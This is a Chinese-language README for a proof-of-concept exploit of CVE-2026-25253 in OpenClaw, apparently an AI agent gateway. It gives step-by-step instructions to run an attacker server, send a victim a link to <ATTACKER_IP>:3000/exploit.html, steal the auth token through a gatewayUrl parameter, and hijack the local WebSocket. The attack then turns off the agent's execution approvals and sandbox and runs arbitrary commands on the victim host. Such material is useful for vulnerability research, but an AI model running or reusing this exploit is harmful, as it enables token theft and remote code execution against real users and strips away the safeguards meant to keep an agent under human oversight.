
CVE-2026-25253 的概念验证漏洞利用,演示通过跨站 WebSocket 劫持在 OpenClaw 上实现一键远程代码执行(RCE)。包含攻击者服务器和基于浏览器的载荷,用于窃取令牌并执行命令。
通过跨站 WebSocket 劫持在 OpenClaw 上实现一键远程代码执行(RCE)。
免责声明: 此代码仅供授权的安全研究和教育目的使用。在未经明确书面许可的情况下,将此代码用于针对任何系统属于违法行为且不道德。作者对滥用行为不承担任何责任。
阅读详细分析,了解该漏洞的源码级剖析以及此 PoC 的构建过程。
localhost:18789)macOS(Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
从 https://nodejs.org/ 下载安装程序并按照提示操作。
验证安装:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
这将安装唯一的依赖项:ws(WebSocket 库)。
编辑 exploit.html 顶部以匹配你的环境:
const LOCAL_SCHEME = 'http'; // 受害者的 Control UI 协议
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // 受害者的本地网关
const ATTACKER_WS_PORT = 8080; // 攻击者 WS 端口(必须与 attacker-server.js 匹配)
const ATTACKER_SCHEME = 'ws'; // 如果使用 TLS 则改为 'wss'
const COMMAND = 'touch /tmp/success'; // 在受害者主机上执行的命令
如果需要不同的端口,请编辑 attacker-server.js 顶部:
const HTTP_PORT = 3000; // 提供 exploit.html 服务
const WS_PORT = 8080; // 捕获被盗令牌
node attacker-server.js
你应该会看到:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
将以下 URL 发送给受害者(将 <ATTACKER_IP> 替换为你的 IP):
http://<ATTACKER_IP>:3000/exploit.html
受害者必须在之前使用过 OpenClaw Control UI 的浏览器中打开此链接(这样认证令牌才会存在于 localStorage 中)。
┌──────────────────────────────────────────────────────────────────────────┐
│ 攻击流程 │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 受害者访问 http://<attacker>:3000/exploit.html │
│ │ │
│ 2. 页面打开弹窗:http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. 弹窗中的 Control UI 从 localStorage 读取令牌 │
│ 并通过 gatewayUrl 将其发送到攻击者的 WS 服务器 │
│ │ │
│ 4. 攻击者服务器拒绝首次连接(设备令牌) │
│ Control UI 使用设置令牌重试 → 令牌被捕获 │
│ │ │
│ 5. exploit.html 打开自己的 WebSocket 连接到 ws://127.0.0.1:18789 │
│ (跨站 WebSocket 劫持 - 无 Origin 验证) │
│ │ │
│ 6. 使用被盗令牌进行认证,并禁用安全设置: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. 发送代理命令 → 在受害者主机上实现 RCE │
│ │
└──────────────────────────────────────────────────────────────────────────┘
在受害者机器上,检查命令是否已执行:
ls -la /tmp/success
| 文件 | 描述 |
|---|---|
attacker-server.js | HTTP 服务器(提供 exploit 页面服务)+ WebSocket 服务器(捕获被盗令牌) |
exploit.html | 基于浏览器的漏洞利用载荷,用于窃取令牌、劫持 WebSocket、禁用安全设置并执行命令 |
package.json | Node.js 依赖项(ws) |